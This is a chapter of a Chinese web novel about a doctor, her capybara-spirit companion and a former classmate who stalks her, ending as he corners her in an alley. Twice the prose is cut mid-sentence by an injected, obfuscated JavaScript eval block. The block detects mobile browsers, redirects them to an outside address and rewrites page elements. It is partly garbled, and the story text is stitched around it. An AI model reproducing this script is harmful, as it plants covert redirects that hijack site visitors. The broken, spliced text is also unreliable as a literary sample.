“你懂什么?我只是她的朋友,发小,很多事情我是不方便做的,比如我不能给她换衣服,不能帮她洗澡。要是她有个男朋友,那就能让她男朋友来照顾她,会方便很多。” “那你为什么不做她男朋友?” 程小满没意识到自己说的话近乎“童言无忌”。 他和程知乐一样,都希望段琅然能过得安心,有人照顾。然而他现在维持人身很困难,能力也尚且不足,离照顾段琅然还差得很远。所以他听到“照顾段琅然”几个字的时候,下意识被程知乐的思路带走,觉得段琅然就是要找个男朋友的。 至于谁是最佳人选,从小认识、知根知底的程知乐自然会被程小满首先考虑。 “你懂个屁!”程知乐不轻不重地打了它一下,“又不是一男一女认识得久,就一定能做成男女朋友的。况且,我和她认识这么多年,到今天还是朋友的关系。我们都已经互相这么了解了,还没有一点那方面的进展,不更说明我们不适合做恋人吗?” 不适合...... “那什么是适合的人?” 程知乐皱眉,思考了许久,看来这个问题真的很难回答。 “你一个小动物别整天操心人类的事情,睡你的觉去。” 程小满黑脸:“我不是小动物。” “好好好,大动物,凶猛动物。” 再一次听到“不合适”这个词汇,是在段琅然打的一通电话里。 程小满的听力比刚被捡回来时恢复了不少,已经能在五米外的距离精准听到电话那头的声音。 听着是个男人,声音有些苍老,跟程知乐比起来......感觉岁数有程知乐的两倍。 老头说:“段医生,想不到这么多年了,我们竟然还有合作的机会。” 段琅然罕见地姿态谦逊:“我们确实挺有缘分的,这次也多亏了李教授的牵线,不然我很难和宋先生达成这样的合作。” “段医生,以前的事情您没有忘记吧?” 以前的事情?程小满竖起耳朵,几乎屏住呼吸。 “啊......都是很久之前的事情了,那时候都还年轻,我想宋先生应当也是开个玩笑的吧。” “段医生原来还记得。”对面的老头尬笑了一下,“其实能再跟你见面我很高兴,我想跟你说的是......我不是开玩笑的,我对段医生是认真的,也希望段医生能考虑一下我。” 程小满一惊,原来是追求者吗? 段琅然深吸一口气,语气有些不耐烦:“宋希言,如果你是认真的,那你应该也记得,我当年很认真地拒绝过你一次。你要是忘了也没关系,我再说一遍就是了。宋先生,我不喜欢......” 对面发出油滑难听的笑声:“哎呀,什么喜不喜欢的,这么多年,咱们彼此早就不熟悉了,正好趁这次机会,再互相深入了解一下,说不定段医生就能发现我的优点了呢。” “我们不合适,不合适你听不懂吗!要我说多少遍啊?当年你死缠烂打就算了,我以为过去这么久你能有长进了呢!” “哎哟哎哟,这话说得难听啦,只是想跟段医生重新认识一下,怎么就成了,啊,死缠烂打你了?更何况,我这次也是带着诚意而来,段医生如果想的话,我的财产可以和你共享......” 段琅然火气上来,完全没理他:“你放屁!谁要共享你那破房子烂车啊?你是不是以为自己这些年干的破事我们老同学之间还传得不够广啊,用不用我把你的光辉事迹做成PPT,投到市中心广场大屏啊?” 对面一时没了动静。 “我是看在李教授的面子上才给你打的这个电话,既然你这样,这合作我们也没必要继续谈下去了,大路朝天各走一边,滚,蛋。” 段琅然狠狠地摁下了挂断键,划了两下屏幕,把这个号码拉黑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540037|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她看向缩在一旁的程小满。 小家伙明明不是第一次看见她发火的样子,还是要装出一副可怜兮兮的害怕样子。 “怎么又这样,我那是朝他发火,又不是冲你来的。” “他很坏吗?” “坏?”段琅然想了想,“这个世界上的人不能用好坏来评价吧?但是这个人真是又蠢又烦,姑且说他是坏人,也没错。” “那......你要去见他吗?” 段琅然沉默了。 “你不会还要去见他吧?” “可能避免不了......” “就不能不见吗。”程小满半是不乐意,半是不理解地爬到了段琅然的脚边。 “有些事情......没有你想的那么简单。我要自己开诊所,光靠我一个人的能力是不够的,所以李教授才会给我介绍那么多的人,来帮助我。但是这事情说到底还是我有求于别人,现在跟他说的话再绝,以后兴许还是要求上去。” 程小满不解:“人类好奇怪啊,要做那么多自己不愿意的事情。” “是啊,人类好奇怪啊。为了十年前的一个想法,要让现在的自己遭那么多罪。” “等你变得很厉害了,我还能陪在你身边吗?” 段琅然觉得这话很奇怪:“为什么这么想?我变得厉害了,更有钱了,我们说不定生活质量都能提高......你到底在打什么主意?” 方才急火攻心,忙着生神人的气。现在才反应过来,程小满这小东西说的这句话,怎么这么的......暧昧呢? “程知乐说想让你快点找个男朋友。” 段琅然一脸问号:“然后呢?” “那你总要有男朋友的吧。” “这也说不准,我现在就不想找,家里相亲也相了不知道多少遍,一个都没看上。” 她仔细回味着程小满的这一串没头没尾、莫名其妙的话。 一个惊人的念头在她脑海里诞生。 “不是......你要竞争的不是宠物岗,是男朋友岗啊?” 她没太在意,毕竟程小满说到底是个只剩下五年记忆的小妖精,他对人类的事情未必这么了解,兴许是脑子一热就说了。 可她看到程小满沉默了。 程小满沉默地盯着她。 段琅然在心里疯狂祈祷,程小满别在这时候突然变成人,别变成人,别变成人。 程小满却突然从她身上跳下去,跑走了。 这......这是什么意思呢? 段琅然看了看他离开的方向,又看了看手机上被她拉黑的号码。 不是吧......他刚才是吃醋了? “程小满,程小满,你听我说啊。” 段琅然跑到房间里,一把抱起水豚:“我没有说我要去见他,只是说要做这个项目可能避免不了见到他,这两句话是有含义差别的你知道吗?” “他对你说那种话,还那么老,你肯定不喜欢他的吧。” “不喜欢,我现在没有对谁有谈恋爱的喜欢。你放心,我不会因为谈恋爱就把你忘了。工作再忙我也不会把你忘了。” 程小满盯着她的眼睛,看了好久好久。 他想到自己是被段琅然抱在怀里。 什么时候他能把段琅然抱在怀里呢? 15. 遇上变态了 天气晴好,气温舒适,段琅然约了几位投资人在一家咖啡馆见面。 地方是对方选的,不是什么大品牌,是一家小众的主理人咖啡馆,摆设复古,略显浮夸,端上来的咖啡也令段琅然有些欣赏不来。 她虽说不缺钱,却没什么小众爱好,不玩车不玩手表,不喝贵得要死的咖啡,也不吃市中心那种猫食分量却要卖两百块的漂亮饭。 “段医生,项目计划我们都看过了,现在就稍微谈一下入股和分成的事情吧。” 原本段琅然想着小作坊不用搞得那么麻烦,可是这件事情不知道被哪个大嘴巴告诉了她爸妈。二老一听喜出望外,当即批了一笔钱给段琅然,支持她的生意。 这下好了,小作坊被迫做大做强了。 “昨天不是说,今天会来五位投资人,这怎么......” 怎么只有四个人? 其中一个人笑着解释到:“啊,他在路上有点堵,段医生见谅,这里周边的路不大好走。” 话音未落,门口传来的风铃声,几人齐齐看过去,一个男人推门进来,扫视了一圈周围环境,把实现定在了他们这里。 “哟,说曹操曹操到,我以为你还且堵一会呢。” 段琅然只打量了一眼,便差点忍不住要翻白眼。 怎么又是他...... 男人穿着一身乌鸦一样的黑色搭配,里面是网红的黑色高领薄毛衣,外面套了件装x黑色的风衣,下面穿了一条黑色的裤子,看不出材质。 段琅然在心里默默吐槽。 幸好是白天见面,要是约了晚上出来,恐怕这人跟穿了隐形衣一样。 她一阵头疼。 明明昨天亲自把人拉黑了,今天这倒霉东西还是膏药一样地出现在她眼前。 而且如今当着众人的面,她都不好直接端咖啡送客,得客客气气地跟他坐下来谈事,把他当成大爷一样供着。 “段医生,好久不见啊。” 段琅然起身和他握手:“宋先生,好久不见。” 他们各自坐下,段琅然的手藏在桌子底下,她拼命地用桌布蹭手心,不管怎么蹭,总觉得有恶心的东西粘在手心。 宋希言和段琅然以前算是校友,同校不同专业。说熟悉也不太熟悉,段琅然对他停留在名字能对上脸的程度。 但是这位能耐可就大了,不知道从哪里打听来段琅然的课表,一天从早到晚跟段琅然一起上课,不知疲倦,连他自己的课都不管了,颇有全职“陪读”段琅然的意思。 彼时的段琅然还是意气风发的天才少女,专业之星,每天除了上课,还有很多时间是泡在图书馆里。 宋希言就挑个不远不近的位置坐着,也不看书也不写作业,就盯着段琅然看。 要不是因为实验大楼要相关人员刷卡才能进,估计这位能直接跟踪到实验室。 段琅然起初是不知道这些事的,她埋头做实验,写报告,忙得脚不沾地,哪有功夫去用第六感感知有人在跟踪视j她。 但是后来,在见到这张脸次数实在是太多之后,连近乎学术狂的段琅然都感到了不对劲。 段琅然从同学那打听得知,宋希言此人不学无术不说,还成天对女生实行病态跟踪。 他的目标遍布全校,各专业各学院都有人遇到过这样的事情。 “你要不还是躲躲吧小段。” 杨弋在一起做实验的时候提醒了她一下。 段琅然一头雾水:“怎么躲?我总不能不去上课,总不能一直不出现在公共场合。” “总之你注意点,他这人,我听说来头不小。都这样了还没受到一点处分,你想想吧。” 原本这件事情几个月,甚至可能几个星期就过去了,因为这位经常改变目标对象,只要有一个能让他动心的出现,他就不会再跟踪段琅然。 段琅然万万没想到,还有一关等着她。 宋希言毫无铺垫、莫名其妙地,跟段琅然表白了。 甚至他说出“我喜欢你”的时候,段琅然问的还是:“你到底是谁啊?” “你好,我叫宋希言,如果以前不认识的话,现在我们认识了。” 段琅然一头雾水:“认识了,然后呢,你是要我刚认识你就跟你在一起吗?” “啊,我也不是这个意思,我就是……” “啊不好意思啊,”段琅然看了看手表,“我还有个组会要开,失陪。你的心意我领了,但是我现在没空谈恋爱。” 后来其实还发生了许多事,可惜段琅然忙着做课题和答辩,大半个月人都在外地。等忙完回了学校,她才知道自己已经成了校园风云人物。 “他之前跟你表白的事你还记得吗?” 段琅然睡眼惺忪:“什么?谁跟我表白?” “土木的那个,大油头,低沉气泡音。” “哦......没印象。” “他之前跟你表白你没理他,后来他就开始在论坛上面造你谣。从黄谣到你父母,只有你想不到,没有他说不出。” 段琅然当时累得发不出脾气,摆摆手:“哎屈才屈才,他这样学什么土木啊,应该去写小说。” 很多年后反应过来时,段琅然才意识到自己躲过了一场多大规模的网暴,以及对面那个男的有多么下三滥。 下三滥哥现在就坐在段琅然对面,段琅然忍着恶心跟他和和气气谈完了合作,拎起包几乎是落荒而逃。 “段医生留步......”下三滥哥笑得很猥琐。 “抱歉,下午我还有事情,”段琅然觉得应该把事情说得更严重一些,“很重要的事情,要是迟到的话,可是要给我造成不小的损失的。” “那好吧......以后有空一起出来吃个饭。” “有空一定。” 段琅然推开门走出咖啡厅。 离开这个是非之地,外面的空气都显得更加清新。 她想赶快回家,程小满在家等了她一天,估计早就饿得不行,开始到处抠东西吃。回去晚的话,保不齐要在家里看到一地狼藉的案发现场。 谈合作太辛苦了,就算没有姓宋的在,段琅然也觉得吸干了自己的精气。 更何况有神人在,神人的每一次发言更是让她感觉下一秒就能背过气去。 她想着回家之后要怎么狠狠地吸水豚,洗完澡以后看点什么剧,脚步轻快地踏在小区的石子路上。 程小满......也不知道他怎么样了。 应该给他配个电话,不,干脆给他装个监控吧。现在很多养宠家庭都会用那个,不光能看见毛孩子在干什么,还能开麦跟他沟通,实在是想不出有什么缺点了。 夕阳渐渐低垂,晚霞映在天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540038|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空上是一片赤色,看来明天也是个好天气。 她拿起手机,一时兴起想着给李教授打一通电话,跟她汇报一下目前的良好战况。 这时候她忽然产生了一种微妙的不适感。 很奇怪,她转身打量,周围什么人都没有,但她就是有种被人跟踪了的感觉,让她觉得特别危险。 段琅然急忙加快脚步往前赶,想着也许能趁后面的人没注意,一溜烟直接跑回家。 “段医生,别跑呀......” 段琅然心里一惊。 是宋希言! 她脑子都还没反应过来,腿已经先一步迈出去,比高中在食堂抢饭还要拼命地向前狂奔。 她无暇思考宋希言是什么时候跟上来的,又跟了她多久。此刻她脑子里只剩下一个念头,那就是跑,赶快跑,跑得越远越好。 “段医生,你听我说说话吧......” “段医生,你跑也没有用的,这里的路,我比你还熟呢。” 此话一出,段琅然感觉身后的声音离她越来越近,估计都没有十米远了。 此时她的思考已经完全被打乱,无力去想该怎么运用智慧拜托身后的变态。 她对自己住的小区不熟悉,这一点还真的被宋希言说中了。 段琅然平时家和诊所两点一线,工作忙,没什么娱乐和放松。就算有一点可怜的闲暇时间,也不会到楼下小区来散步。所以哪怕住了好几年,她依旧不认路。 要是走错路,走错路怎么办...... 她的心跳一下比一下强烈,跑的时候心脏的跳动几乎都要逼近她的喉咙。 “我抓到你了。” 随着身后的油腻气泡音响起,段琅然绝望地看见,前面是一堵施工围墙。 没有路了。 她走进死胡同了。 她被迫转身去看那个变态。 宋希言笑容毫不收敛,几近狰狞,比起之前在电话里,还有刚才在咖啡馆里,说是放肆了百倍都不为过。 “宋先生,我们无冤无仇的,为什么非要揪着我不放?” “无冤无仇?我那么喜欢你,你都看不出来吗?” 段琅然被气笑了:“你的喜欢?你的喜欢就是像现在这样,干扰我的日常生活,跟踪我,堵着我回家的路,要强迫我做什么事情?是这样的吗?” “段琅然......你真不解风情。” 段琅然想都没想,一巴掌删了上去,“啪”的一声发出响亮的声音,在无人的小路上格外明显。 岂料这个宋希言被打了一巴掌,似乎越发兴奋了。 “段琅然......你好美,好性感,你站在台上好耀眼,我一辈子也做不到你那样的优秀......连打人都是这么性感,你要我怎么做到不喜欢你?” “你现在赶紧滚,就是喜欢我的最好证明了。” “凭什么!你现在都没有男朋友,这么多年了身边一直没有男朋友,为什么就不能是我!”宋希言捶胸顿足,“我可以为了你什么都不要,我的命我的钱都可以给你......我......呃......” 宋希言忽然像是被恶灵附身了一般,疯狂地捂着自己的脖子,慢慢地脸色涨得发红,又发紫。 这是窒息的迹象...... 段琅然一时脊背发寒。